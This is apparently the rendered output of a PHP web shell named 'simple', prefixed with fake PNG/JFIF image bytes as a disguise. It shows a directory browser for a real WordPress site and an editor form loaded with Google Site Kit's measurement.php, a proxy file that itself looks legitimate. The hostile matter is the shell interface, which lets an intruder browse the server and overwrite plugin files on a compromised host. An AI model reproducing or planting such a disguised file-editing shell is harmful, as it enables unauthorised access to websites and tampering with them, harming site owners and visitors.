�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fgoogle-site-kit%2F'>google-site-kit</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fgoogle-site-kit%2Fgtg%2F'>gtg</a>/</p><hr><h3>✏️ Editing: measurement.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

/**
 * GoogleTagGatewayServing measurement request proxy file
 *
 * @package   Google\GoogleTagGatewayLibrary\Proxy
 * @copyright 2024 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 *
 * @version   a8ee614
 *
 * NOTICE: This file has been modified from its original version in accordance with the Apache License, Version 2.0.
 */

// This file should run in isolation from any other PHP file. This means using
// minimal to no external dependencies, which leads us to suppressing the
// following linting rules:
//
// phpcs:disable PSR1.Files.SideEffects.FoundWithSymbols
// phpcs:disable PSR1.Classes.ClassDeclaration.MultipleClasses

/* Start of Site Kit modified code. */
namespace {
    if ( isset( $_GET[&#039;healthCheck&#039;] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
        echo &#039;ok&#039;;
        exit;
    }
    // Return early when including to use in external health check.
    // All classes will be defined but no further statements will be executed.
    if ( defined( &#039;GOOGLESITEKIT_GTG_ENDPOINT_HEALTH_CHECK&#039; ) ) {
        return;
    }
}
/* End of Site Kit modified code. */

namespace Google\GoogleTagGatewayLibrary\Proxy {
use Google\GoogleTagGatewayLibrary\Http\RequestHelper;
use Google\GoogleTagGatewayLibrary\Http\ServerRequestContext;

/** Runner class to execute the proxy request. */
final class Runner
{
    /**
     * Request helper functions.
     *
     * @var RequestHelper
     */
    private RequestHelper $helper;
    /**
     * Measurement request helper.
     *
     * @var Measurement
     */
    private Measurement $measurement;
    /**
     * Constructor.
     *
     * @param RequestHelper $helper
     */
    public function __construct(RequestHelper $helper, Measurement $measurement)
    {
        $this-&gt;helper = $helper;
        $this-&gt;measurement = $measurement;
    }
    /** Run the core logic for forwarding traffic. */
    public function run(): void
    {
        $response = $this-&gt;measurement-&gt;run();
        $this-&gt;helper-&gt;setHeaders($response[&#039;headers&#039;]);
        http_response_code($response[&#039;statusCode&#039;]);
        echo $response[&#039;body&#039;];
    }
    /** Create an instance of the runner with the system defaults. */
    public static function create()
    {
        $helper = new RequestHelper();
        $context = ServerRequestContext::create();
        $measurement = new Measurement($helper, $context);
        return new self($helper, $measurement);
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Http {
/**
 * Isolates network requests and other methods like exit to inject into classes.
 */
class RequestHelper
{
    /**
     * Helper method to exit the script early and send back a status code.
     *
     * @param int $statusCode
     */
    public function invalidRequest(int $statusCode): void
    {
        http_response_code($statusCode);
        exit;
    }
    /**
     * Set the headers from a headers array.
     *
     * @param string[] $headers
     */
    public function setHeaders(array $headers): void
    {
        foreach ($headers as $header) {
            if (!empty($header)) {
                header($header);
            }
        }
    }
    /**
     * Sanitizes a path to a URL path.
     *
     * This function performs two critical actions:
     * 1. Extract ONLY the path component, discarding any scheme, host, port,
     *    user, pass, query, or fragment.
     *    Primary defense against Server-Side Request Forgery (SSRF).
     * 2. Normalize the path to resolve directory traversal segments like
     *    &#039;.&#039; and &#039;..&#039;.
     *    Prevents path traversal attacks.
     *
     * @param string $pathInput The raw path string.
     * @return string|false The sanitized and normalized URL path.
     */
    public static function sanitizePathForUrl(string $pathInput): string
    {
        if (empty($pathInput)) {
            return false;
        }
        // Normalize directory separators to forward slashes for Windows like directories.
        $path = str_replace(&#039;\\&#039;, &#039;/&#039;, $pathInput);
        // 2. Normalize the path to resolve &#039;..&#039; and &#039;.&#039; segments.
        $parts = [];
        // Explode the path into segments. filter removes empty segments (e.g., from &#039;//&#039;).
        $segments = explode(&#039;/&#039;, trim($path, &#039;/&#039;));
        foreach ($segments as $segment) {
            if ($segment === &#039;.&#039; || $segment === &#039;&#039;) {
                // Ignore current directory and empty segments.
                continue;
            }
            if ($segment === &#039;..&#039;) {
                // Go up one level by removing the last part.
                if (array_pop($parts) === null) {
                    // If we try and traverse too far back, outside of the root
                    // directory, this is likely an invalid configuration so
                    // return false to have caller handle this error.
                    return false;
                }
            } else {
                // Add the segment to our clean path.
                $parts[] = rawurlencode($segment);
            }
        }
        // Rebuild the final path.
        $sanitizedPath = implode(&#039;/&#039;, $parts);
        return &#039;/&#039; . $sanitizedPath;
    }
    /**
     * Helper method to send requests depending on the PHP environment.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    public function sendRequest(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        if ($this-&gt;isCurlInstalled()) {
            $response = $this-&gt;sendCurlRequest($method, $url, $headers, $body);
        } else {
            $response = $this-&gt;sendFileGetContents($method, $url, $headers, $body);
        }
        return $response;
    }
    /**
     * Send a request using curl.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    protected function sendCurlRequest(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        $method = strtoupper($method);
        switch ($method) {
            case &#039;GET&#039;:
                curl_setopt($ch, CURLOPT_HTTPGET, true);
                break;
            case &#039;POST&#039;:
                curl_setopt($ch, CURLOPT_POST, true);
                break;
            default:
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
                break;
        }
        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }
        if (!empty($body)) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
        }
        $result = curl_exec($ch);
        $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $headersString = substr($result, 0, $headerSize);
        $headers = explode(&quot;\r\n&quot;, $headersString);
        $headers = $this-&gt;normalizeHeaders($headers);
        $body = substr($result, $headerSize);
        curl_close($ch);
        return array(&#039;body&#039; =&gt; $body, &#039;headers&#039; =&gt; $headers, &#039;statusCode&#039; =&gt; $statusCode);
    }
    /**
     * Send a request using file_get_contents.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    protected function sendFileGetContents(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        $httpContext = [&#039;method&#039; =&gt; strtoupper($method), &#039;follow_location&#039; =&gt; 0, &#039;max_redirects&#039; =&gt; 0, &#039;ignore_errors&#039; =&gt; true];
        if (!empty($headers)) {
            $httpContext[&#039;header&#039;] = implode(&quot;\r\n&quot;, $headers);
        }
        if (!empty($body)) {
            $httpContext[&#039;content&#039;] = $body;
        }
        $streamContext = stream_context_create([&#039;http&#039; =&gt; $httpContext]);
        // Calling file_get_contents will set the variable $http_response_header
        // within the local scope.
        $result = file_get_contents($url, false, $streamContext);
        /** @var string[] $headers */
        $headers = $http_response_header ?? [];
        $statusCode = 200;
        if (!empty($headers)) {
            // The first element in the headers array will be the HTTP version
            // and status code used, parse out the status code and remove this
            // value from the headers.
            preg_match(&#039;/HTTP\/\d\.\d\s+(\d+)/&#039;, $headers[0], $statusHeader);
            $statusCode = intval($statusHeader[1]) ?? 200;
        }
        $headers = $this-&gt;normalizeHeaders($headers);
        return array(&#039;body&#039; =&gt; $result, &#039;headers&#039; =&gt; $headers, &#039;statusCode&#039; =&gt; $statusCode);
    }
    protected function isCurlInstalled(): bool
    {
        return extension_loaded(&#039;curl&#039;);
    }
    /** @param string[] $headers */
    protected function normalizeHeaders(array $headers): array
    {
        if (empty($headers)) {
            return $headers;
        }
        // The first element in the headers array will be the HTTP version
        // and status code used, this value is not needed in the headers.
        array_shift($headers);
        return $headers;
    }
    /**
     * Takes a single URL query parameter which has not been encoded and
     * ensures its key &amp; value are encoded.
     *
     * @param string $parameter Query parameter to encode.
     * @return string The new query parameter encoded.
     */
    public static function encodeQueryParameter(string $parameter): string
    {
        list($key, $value) = explode(&#039;=&#039;, $parameter, 2) + [&#039;&#039;, &#039;&#039;];
        // We just manually encode to avoid any nuances that may occur as a
        // result of `http_build_query`. One such nuance is that
        // `http_build_query` will add an index to query parameters that
        // are repeated through an array. We would only be able to store
        // repeated values as an array as associative arrays cannot have the
        // same key multiple times. This makes `http_build_query`
        // undesirable as we should pass parameters through as they come in
        // and not modify them or change the key.
        $key = rawurlencode($key);
        $value = rawurlencode($value);
        return &quot;{$key}={$value}&quot;;
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Http {
/** Request context populated with common server set values. */
final class ServerRequestContext
{
    /**
     * Server set associative array. Normally the same as $_SERVER.
     *
     * @var array
     */
    private $serverParams;
    /**
     * Associative array of query parameters. Normally the same as $_GET
     *
     * @var array
     */
    private $queryParams;
    /**
     * The current server request&#039;s body.
     *
     * @var string
     */
    private $requestBody;
    /**
     * Constructor
     *
     * @param array $serverParams
     * @param array $queryParams
     * @param string $requestBody
     */
    public function __construct(array $serverParams, array $queryParams, string $requestBody)
    {
        $this-&gt;serverParams = $serverParams;
        $this-&gt;queryParams = $queryParams;
        $this-&gt;requestBody = $requestBody;
    }
    /** Create an instance with the system defaults. */
    public static function create()
    {
        $body = file_get_contents(&quot;php://input&quot;) ?? &#039;&#039;;
        return new self($_SERVER, $_GET, $body);
    }
    /**
     * Fetch the current request&#039;s request body.
     *
     * @return string The current request body.
     */
    public function getBody(): string
    {
        return $this-&gt;requestBody ?? &#039;&#039;;
    }
    public function getRedirectorFile()
    {
        $redirectorFile = $this-&gt;serverParams[&#039;SCRIPT_NAME&#039;] ?? &#039;&#039;;
        if (empty($redirectorFile)) {
            return &#039;&#039;;
        }
        return RequestHelper::sanitizePathForUrl($redirectorFile);
    }
    /**
     * Get headers from the current request as an array of strings.
     * Similar to how you set headers using the `headers` function.
     *
     * @param array $filterHeaders Filter out headers from the return value.
     */
    public function getHeaders(array $filterHeaders = []): array
    {
        $headers = [];
        // Extra headers not prefixed with `HTTP_`
        $extraHeaders = [&quot;CONTENT_TYPE&quot; =&gt; &#039;content-type&#039;, &quot;CONTENT_LENGTH&quot; =&gt; &#039;content-length&#039;, &quot;CONTENT_MD5&quot; =&gt; &#039;content-md5&#039;];
        foreach ($this-&gt;serverParams as $key =&gt; $value) {
            # Skip reserved headers
            if (isset($filterHeaders[$key])) {
                continue;
            }
            # All PHP request headers are available under the $_SERVER variable
            # and have a key prefixed with `HTTP_` according to:
            # https://www.php.net/manual/en/reserved.variables.server.php#refsect1-reserved.variables.server-description
            $headerKey = &#039;&#039;;
            if (substr($key, 0, 5) === &#039;HTTP_&#039;) {
                # PHP defaults to every header key being all capitalized.
                # Format header key as lowercase with `-` as word separator.
                # For example: cache-control
                $headerKey = strtolower(str_replace(&#039;_&#039;, &#039;-&#039;, substr($key, 5)));
            } elseif (isset($extraHeaders[$key])) {
                $headerKey = $extraHeaders[$key];
            }
            if (empty($headerKey) || empty($value)) {
                continue;
            }
            $headers[] = &quot;{$headerKey}: {$value}&quot;;
        }
        // Add extra x-forwarded-for if remote address is present.
        if (isset($this-&gt;serverParams[&#039;REMOTE_ADDR&#039;])) {
            $headers[] = &quot;x-forwarded-for: {$this-&gt;serverParams[&#039;REMOTE_ADDR&#039;]}&quot;;
        }
        // Add extra geo if present in the query parameters.
        $geo = $this-&gt;getGeoParam();
        if (!empty($geo)) {
            $headers[] = &quot;x-forwarded-countryregion: {$geo}&quot;;
        }
        return $headers;
    }
    /**
     * Get the request method made for the current request.
     *
     * @return string
     */
    public function getMethod()
    {
        return @$this-&gt;serverParams[&#039;REQUEST_METHOD&#039;] ?: &#039;GET&#039;;
    }
    /** Get and validate the geo parameter from the request. */
    public function getGeoParam()
    {
        $geo = $this-&gt;queryParams[&#039;geo&#039;] ?? &#039;&#039;;
        // Basic geo validation
        if (!preg_match(&#039;/^[A-Za-z0-9-]+$/&#039;, $geo)) {
            return &#039;&#039;;
        }
        return $geo;
    }
    /** Get the tag id query parameter from the request.  */
    public function getTagId()
    {
        $tagId = $this-&gt;queryParams[&#039;id&#039;] ?? &#039;&#039;;
        // Validate tagId
        if (!preg_match(&#039;/^[A-Za-z0-9-]+$/&#039;, $tagId)) {
            return &#039;&#039;;
        }
        return $tagId;
    }
    /** Get the destination query parameter from the request.  */
    public function getDestination()
    {
        $path = $this-&gt;queryParams[&#039;s&#039;] ?? &#039;&#039;;
        // When measurement path is present it might accidentally pass an empty
        // path character depending on how the url rules are processed so as a
        // safety when path is empty we should assume that it is a request to
        // the root.
        if (empty($path)) {
            $path = &#039;/&#039;;
        }
        // Remove reserved query parameters from the query string
        $params = $this-&gt;queryParams;
        unset($params[&#039;id&#039;], $params[&#039;s&#039;], $params[&#039;geo&#039;], $params[&#039;mpath&#039;]);
        $containsQueryParameters = strpos($path, &#039;?&#039;) !== false;
        if ($containsQueryParameters) {
            list($path, $query) = explode(&#039;?&#039;, $path, 2);
            $path .= &#039;?&#039; . RequestHelper::encodeQueryParameter($query);
        }
        if (!empty($params)) {
            $paramSeparator = $containsQueryParameters ? &#039;&amp;&#039; : &#039;?&#039;;
            $path .= $paramSeparator . http_build_query($params, &#039;&#039;, &#039;&amp;&#039;, PHP_QUERY_RFC3986);
        }
        return $path;
    }
    /**Get the measurement path query parameter from the request.  */
    public function getMeasurementPath()
    {
        return $this-&gt;queryParams[&#039;mpath&#039;] ?? &#039;&#039;;
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Proxy {
use Google\GoogleTagGatewayLibrary\Http\RequestHelper;
use Google\GoogleTagGatewayLibrary\Http\ServerRequestContext;
/** Core measurement.php logic. */
final class Measurement
{
    private const TAG_ID_QUERY = &#039;?id=&#039;;
    private const GEO_QUERY = &#039;&amp;geo=&#039;;
    private const PATH_QUERY = &#039;&amp;s=&#039;;
    private const FPS_PATH = &#039;PHP_GTG_REPLACE_PATH&#039;;
    /**
     * Reserved request headers that should not be sent as part of the
     * measurement request.
     *
     * @var array&lt;string, bool&gt;
     */
    private const RESERVED_HEADERS = [
        # PHP managed headers which will be auto populated by curl or file_get_contents.
        &#039;HTTP_ACCEPT_ENCODING&#039; =&gt; true,
        &#039;HTTP_CONNECTION&#039; =&gt; true,
        &#039;HTTP_CONTENT_LENGTH&#039; =&gt; true,
        &#039;CONTENT_LENGTH&#039; =&gt; true,
        &#039;HTTP_EXPECT&#039; =&gt; true,
        &#039;HTTP_HOST&#039; =&gt; true,
        &#039;HTTP_TRANSFER_ENCODING&#039; =&gt; true,
        # Sensitive headers to exclude from all requests.
        &#039;HTTP_AUTHORIZATION&#039; =&gt; true,
        &#039;HTTP_PROXY_AUTHORIZATION&#039; =&gt; true,
        &#039;HTTP_X_API_KEY&#039; =&gt; true,
    ];
    /**
     * Request helper.
     *
     * @var RequestHelper
     */
    private RequestHelper $helper;
    /**
     * Server request context.
     *
     * @var ServerRequestContext
     */
    private ServerRequestContext $serverRequest;
    /**
     * Create the measurement request handler.
     *
     * @param RequestHelper $helper
     * @param ServerRequestContext $serverReqeust
     */
    public function __construct(RequestHelper $helper, ServerRequestContext $serverRequest)
    {
        $this-&gt;helper = $helper;
        $this-&gt;serverRequest = $serverRequest;
    }
    /** Run the measurement logic. */
    public function run()
    {
        $redirectorFile = $this-&gt;serverRequest-&gt;getRedirectorFile();
        if (empty($redirectorFile)) {
            $this-&gt;helper-&gt;invalidRequest(500);
            return &quot;&quot;;
        }
        $tagId = $this-&gt;serverRequest-&gt;getTagId();
        $path = $this-&gt;serverRequest-&gt;getDestination();
        $geo = $this-&gt;serverRequest-&gt;getGeoParam();
        $mpath = $this-&gt;serverRequest-&gt;getMeasurementPath();
        if (empty($tagId) || empty($path)) {
            $this-&gt;helper-&gt;invalidRequest(400);
            return &quot;&quot;;
        }
        $useMpath = empty($mpath) ? self::FPS_PATH : $mpath;
        $fpsUrl = &#039;https://&#039; . $tagId . &#039;.fps.goog/&#039; . $useMpath . $path;
        $requestHeaders = $this-&gt;serverRequest-&gt;getHeaders(self::RESERVED_HEADERS);
        $method = $this-&gt;serverRequest-&gt;getMethod();
        $body = $this-&gt;serverRequest-&gt;getBody();
        $response = $this-&gt;helper-&gt;sendRequest($method, $fpsUrl, $requestHeaders, $body);
        if ($useMpath === self::FPS_PATH) {
            $substitutionMpath = $redirectorFile . self::TAG_ID_QUERY . $tagId;
            if (!empty($geo)) {
                $substitutionMpath .= self::GEO_QUERY . $geo;
            }
            $substitutionMpath .= self::PATH_QUERY;
            if (self::isScriptResponse($response[&#039;headers&#039;])) {
                $response[&#039;body&#039;] = str_replace(&#039;/&#039; . self::FPS_PATH . &#039;/&#039;, $substitutionMpath, $response[&#039;body&#039;]);
            } elseif (self::isRedirectResponse($response[&#039;statusCode&#039;]) &amp;&amp; !empty($response[&#039;headers&#039;])) {
                foreach ($response[&#039;headers&#039;] as $refKey =&gt; $header) {
                    // Ensure we are only processing strings.
                    if (!is_string($header)) {
                        continue;
                    }
                    $headerParts = explode(&#039;:&#039;, $response[&#039;headers&#039;][$refKey], 2);
                    if (count($headerParts) !== 2) {
                        continue;
                    }
                    $key = trim($headerParts[0]);
                    $value = trim($headerParts[1]);
                    if (strtolower($key) !== &#039;location&#039;) {
                        continue;
                    }
                    $newValue = str_replace(&#039;/&#039; . self::FPS_PATH, $substitutionMpath, $value);
                    $response[&#039;headers&#039;][$refKey] = &quot;{$key}: {$newValue}&quot;;
                    break;
                }
            }
        }
        return $response;
    }
    /**
     * @param string[] $headers
     */
    private static function isScriptResponse(array $headers): bool
    {
        if (empty($headers)) {
            return false;
        }
        foreach ($headers as $header) {
            if (empty($header)) {
                continue;
            }
            $normalizedHeader = strtolower(str_replace(&#039; &#039;, &#039;&#039;, $header));
            if (strpos($normalizedHeader, &#039;content-type:application/javascript&#039;) === 0) {
                return true;
            }
        }
        return false;
    }
    /**
     * Checks if the response is a redirect response.
     * @param int $statusCode
     */
    private static function isRedirectResponse(int $statusCode): bool
    {
        return $statusCode &gt;= 300 &amp;&amp; $statusCode &lt; 400;
    }
}
}

namespace {
use Google\GoogleTagGatewayLibrary\Proxy\Runner;
Runner::create()-&gt;run();
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fgoogle-site-kit%2Fgtg'>🔙 Back</a></p>